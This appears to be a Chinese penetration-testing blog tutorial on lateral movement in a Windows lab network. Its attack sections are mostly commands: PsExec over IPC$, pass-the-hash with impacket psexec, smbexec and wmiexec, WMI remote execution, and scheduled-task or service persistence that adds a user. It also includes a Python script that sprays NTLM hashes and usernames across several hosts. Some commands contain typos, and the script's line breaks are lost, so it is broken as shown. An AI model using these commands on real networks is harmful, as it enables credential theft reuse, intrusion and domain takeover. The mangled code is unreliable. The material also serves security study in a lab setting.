内网横向渗透之各种传递攻击

前言

在前面一篇文章已经对内网信息收集做了详细介绍,所需要的内网环境也包含在那篇文章中,接下来将以前期内网信息收集到的信息为基础介绍各种明文或hash传递攻击进行横向渗透。

横向渗透

在拿下一台内网主机后,利用既有的资源尝试获取更多的凭据、更高的权限,一步一步拿下更多的主机,进而达到控制整个内网、获取到最高权限、发动高级持续性威胁攻击的目的。我们掌握的方法越多,可能拿到的主机权限的机会就越大。

利用PsExec工具进行横向渗透

PsExec 最强大的功能之一是在远程系统和远程支持工具(如 ipconfig)中启动交互式命令提示窗口,以便显示无法通过其他方式显示的有关远程系统的信息,并且可以获得与控制台应用程序相当的完全交互性。PsExec的使用不需要对方主机开放3389端口,只需要对方开启admin$共享 (该共享默认开启)。由于PsExec是Windows提供的工具,所以杀毒软件将其列在白名单中。
下载地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
主要有以下两种攻击方法

1.Psexec需建立ipc链接进行横向渗透

net use \\192.168.3.144\ip$ “admin!@#45” /uesr:administrator  #建立IPC链接,出现下列弹框点击agree
psexec \\192.168.3.64 -s cmd cmd  #-s,表示以system权限运行窗口,成功返回目标主机system权限窗口

2.Psexec不需要建立ipc链接进行横向渗透

psexec \\192.168.3.144 -u administrator -p admin!@#45 -s cmd

在这些情况下我们无法获取明文密码
Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码
Windows系统LM Hash及NTLM Hash加密算法,个人系统在windows vista后,服务器系统在windows2003以后,认证方式均为NTLM Hash
此时进行横向渗透测试使用官方自带的psexec行不通

psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.144

利用impacket中的工具包进行横向渗透

1.PSExec(非官方自带)工具进行横向渗透
为了解决无法获取明文进行传递攻击的问题,使用非官方自带的psexec进行hash传递,虽说这个与上面的名字一样,但是这并不是微软自带的工具。
使用impacket工具包,操作简单,但由于非官方自带,很有可能被杀毒软件查杀。
下载地址:
https://github.com/maaaaz/impacket-examples-windows

psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.144

2.smbexec实现无需建立ipc链接传递明文进行横向渗透

smbexec ./administrator:admin!@#45@192.168.3.144  链接本地组用户

smbexec ROOTKIT.ORG/administrator:admin!@#45@192.168.3.144 链接域内用户

3.smbexec实现无需建立ipc链接传递hash进行横向渗透

smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.144

利用WMI进行横向渗透

WMI简介
WMI的全名为(Windows Management Instrumentation)由于安全厂商开始将PsExec加入了黑名单,所以攻击者暴露的可能性陡然增加。根据研究情况来看,Windows操作系统默认不会将WMI的操作记录到日志当中,而且因为采用的是无文件攻击,所以导致WMI具有极高的隐蔽性。由此,越来越多的APT开始使用WMI进行攻击,利用WMI可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。
**作用:**Windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以在本地或者远程管理计算机系统。通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
利用系统自带的wmic 进行明文传递横向渗透

wmic /node:192.168.3.144 /user:administrator /password:admin!@#45 process call create "md.exe /c ipconfig >C:\3.txt"

在使用自带的wmic时,无回显,ipconfig这条命令显示的内容保存在3.txt文件中,并且是在对方的主机中,较为鸡肋。


利用wmiexec.vbs与cscript配合进行横向渗透
为了解决有回显的问题,使用自带的cscript进行明文传递,但需要配合wmiexec.vbs才可以,wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显,获取远程主机的半交互式Shell。这个文件一般不会被防护软件查杀,使用时需要将目录切换至拥有wmiexec.vbs的目录下,该方法较好,推荐使用。
wmiexec.vbs下载地址:https://pan.baidu.com/s/1hsSuQLiolqqcUUHgmjPW7A
提取码:4534

cscript //nologo wmiexec.vbs /shell 192.168.3.144 Administrator admin!@#45
##192.168.3.144主机的系统权限

cscript //nologo wmiexec.vbs /shell 192.168.3.73 Administrator Admin12345   ##返回192.168.3.73主机的系统权限

利用非系统自带的wmiexec进行横向渗透
使用impacket工具包中的wmiexec,进行明文hash传递横向渗透, 有回显

wmiexec ./Administrator:admin!@#45@192.168.3.144 "whoami"

当我们反弹回system权限的命令终端时,一般利用自带的WMI常用命令来进行操作操作

wmiexec -hashes :518b98ad4178a53695dc997aa02d455c Administrator@192.168.3.73 "whoami"

wmiexec -hashes :518b98ad4178a53695dc997aa02d455c Administrator@192.168.3.144 "whoami"

利用脚本生成exe批量横向渗透

Python脚本:

import os, timeips = {'192.168.3.144','192.168.3.73','192.168.3.75'
}users = {'Administrator','administrator','backup','webadmin','jerry','mary','webadmin'
}hashs = {'ccef208c6485269c20db2cad21734fe7','518b98ad4178a53695dc997aa02d455c'
}
for ip in ips:for user in users:for mimahash in hashs:# wmiexec -hashes :hash god/user@ip whoamiexec = "wmiexec -hashes :" + mimahash + " rootkit/" + user + "@" + ip + " whoami"exec1 = "wmiexec -hashes :" + mimahash + " ./" + user + "@" + ip + " whoami"print('--->' + exec + '<---')print('--->' + exec1 + '<---')os.system(exec)time.sleep(0.5)

安装pyinstaller:pip install pyinstaller

将python文件打包成exe程序

这里特别要注意,在运行时需要将程序放到拥有wmiexec.exe的目录下,因为程序在运行时会调用它,因为在python脚本中有对wmiexec进行引用。

最终结果

IPC+Windows服务来进行横向移动

利用sc横向渗透
使用Windows服务来进行横向移动有点类似利用计划任务进行横向移动,核心是将木马文件传入目标机中,然后通过SC命令创建一个Windows服务用来指向传入的木马文件,最后启动该服务或者重启目标机即可触发该木马,实现横向移动。
在使用sc命令横向渗透时,首先也得先建立ipc链接,将要运行的服务拷贝过去目标主机,创建服务:sc \\192.168.3.144 create cmd binpath="c:\cmd.bat"发现可以为目标主机创建服务,但是在启动服务时,却一直报错,于是我想通过schtasks来启动服务也不可以,这到底是什么原因呢?

通过查询大量的资料,发现在使用sc命令时,有两个个鸡肋就是不允许将bat做成服务运行,一般的exe也都不行,因为做成服务的可执行文件,它的代码编写是有固定格式的,这个exe程序服务需要提前准备好,因为要根据自己的需求编写。这一点一定要切记,在进行横向渗透测试时经常会忽略这样的一个小细节。
可是我既然不会写这样的服务,那我可不可以使用命令来验证sc命令是可行的呢?通过测试果真可以,如查询192.168.3.144的远程桌面连接服务的管理权限
sc \\192.168.3.144 qprivs TermService

由于我这里没有成功执行程序,所以推荐一篇使用sc命令成功执行exe服务的文章,请参考:
https://www.freesion.com/article/2259895176/

IPC+计划任务进行横向渗透

利用AT横向渗透

net use \\192.168.3.144\ipc$ "admin!@#45"/user:rookit.org\administrator

建立ipc连接,需要139,445端口开放,工作组需要加上域内名字,工作组不需要

编写一个添加一个用户的bat脚本,在实战情况下一般来讲是木马

将adduser.bat发送至域控copy adduser.bat \\192.168.3.144\c$

at \\192.168.1.144 20:05 c:\adduser.bat
设置计划任务,在这里测试,我发现并不是像网上所说,Windows<2012就可以使用at命令,这里的2008也已经弃用AT命令。

利用Schtasks进行横向渗透

schtasks /create /s 192.168.3.144 /ru “SYSTEM” /tn adduser /sc DAILY /tr c:\adduser\adduser.bat /f  在这里使用schtasks时,通过大量的实验发现无论是在2008还是2012实验都无效,并且系统已经提升为系统权限,说明在这个环境中schtasks无法用来横向渗透

由于这里没有成功所以推荐大家参考这篇文章:https://cloud.tencent.com/developer/article/1743842
建立IPC失败的原因
(1)目标系统不是NT或以上的操作系统 (2)对方没有打开IPC$共享 (3)对方未开启139、445端口,或者被防火墙屏蔽 (4)输出命令、账号密码有错误
建立IPC常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题
(4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
(5)1219:提供的凭据和已经存在的凭据集冲突,说明已经建立了IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标NetLogon服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码

总结

在这里几乎将明文和hash传递横向渗透攻击写完了,在内网横向渗透的过程中,我们要时刻考虑免杀的问题,有的横向渗透方法无法使用我们要果断放弃,希望这篇文章对您有所帮助。

**​靶场下载地址**:关注**红云谈安全**公众号 并发送**hash传递**获取下载地址

内网横向渗透之各种传递攻击相关推荐

  1. 内网横向渗透神器-CS

    简介: Cobaltstrike是内网横向渗透中团队作战神器,也被称为CS,目前已有4.1版本,本文这里提供v4.0下载链接:https://gitee.com/yaogodv/cobaltstrik ...

  2. 一款内网横向渗透辅助工具

    主要功能 配合使用工具(如Mimikatz)扫描本地密码,并将密码写入source/pass_list.txt 以下工具(1)简称(1) (1)检测域.检测到域后,工具 (2)自动使用 "n ...

  3. 内网安全检查/渗透介绍

    1. 内网安全检查/渗透介绍 1.1 攻击思路 有2种思路: 攻击外网服务器,获取外网服务器的权限,接着利用入侵成功的外网服务器作为跳板,攻击内网其他服务器,最后获得敏感数据,并将数据传递到攻击者,看 ...

  4. 悬镜安全强烈推荐丨内网安全检查/渗透总结,先收藏再说

    浏览文章的时候,能够看到一篇干货满满的文章,实属不易,能够把内网安全渗透测试的整个阶段所涉及到的信息整理的如何全面也是值得佩服,废话不多说,直接上文章. 本篇文章首发平台先知社区,如需转载,请标注来源 ...

  5. 细说内网横向工具WMIHACK

    目录 1.前言 2. 基础知识 2.1 WMI简介 2.2 WMI体系结构 2.3 WMI的类与命名空间 2.4 查询WMI 2.5 管理WMI 2.6 WMI事件 3.工具分析 3.1 WMIHAC ...

  6. scaner 从外网到内网域渗透

    scaner 从外网到内网域渗透 本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精:本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿 ...

  7. 渗透实战:内网域渗透

    前言 本文记录了一次针对具有二层内网的域环境进行渗透测试的过程,文中涉及了内网域渗透的基本方法.思路和技巧.交替使用了msf.CobaltStrike.frp.chisel.SharpSQLTools ...

  8. scaner从外网到内网域渗透笔记

    scaner 从外网到内网域渗透 1.环境配置 1.1靶场信息 用到的虚拟机共有三个 分别是 12server-db .12-dc .web1 12server-db.web1 这两个可以使用桥接或者 ...

  9. 记录一次linux内网完整渗透测试

    21年六月中做完的项目文章,流程概览 信息发现与收集 寻找网域内主机目标 注意,web机每关机开机一次都要重新启动php5.3 kali机中命令(在10的网域内寻找) nmap -sn 192.168 ...

最新文章

  1. RocketMQ 实战 消息发送样例
  2. JVM NativeMemoryTracking 分析堆外内存泄露
  3. iOS 如何写出更加严谨的应用
  4. Nginx笔记总结八:ngx_http_core_module模块中的变量
  5. 解决error C2760:语法错误: 意外的令牌“标识符”,预期的令牌为“类型说明符”
  6. SpingMVC ModelAndView, Model,Control以及参数传递
  7. 项目进行JVM调优 Jconsole
  8. 让页面高度自动到底部 始终底部
  9. UI设计师缺乏灵感,看看这些可以临摹的网站架构!
  10. qthread run结束了算销毁吗_对 精致码农大佬 说的 Task.Run 会存在 内存泄漏 的思考...
  11. python中3 and not 5_python中not、and和or的优先级与详细用法介绍
  12. Python中__init__和self的意义和作用
  13. python参数的解包(拆包)(一分钟读懂)
  14. Java JDBC学习
  15. 普歌-码上鸿鹄团队-复习系统模块
  16. dbz-ui试用体验(connecting mysql...)
  17. 关于vue-cli3的浏览器兼容性
  18. 《哈利·波特:霍格沃茨之谜》游戏特推出万圣节内容致敬黑魔法
  19. 提前做好网络安全分析,运维真轻松(一)
  20. linux系统下创建anaconda新环境及问题解决

热门文章

  1. [附源码]Python计算机毕业设计Django姜太公渔具销售系统
  2. 工具及方法 - 安装播放器pot player
  3. (二)Java算法:插值查找
  4. mysql为什么不使用存储过程_题外话,为什么不用数据库的存储过程
  5. 测试与刑法之间的关系
  6. 100个IT技术英文单词
  7. GitHub如何删除项目库Repositories(超详细)
  8. 手把手教你在虚拟机中安装JDK和mysql
  9. Google的代码Review实践与一些感悟
  10. Unity3D的RPG游戏中攻击的判定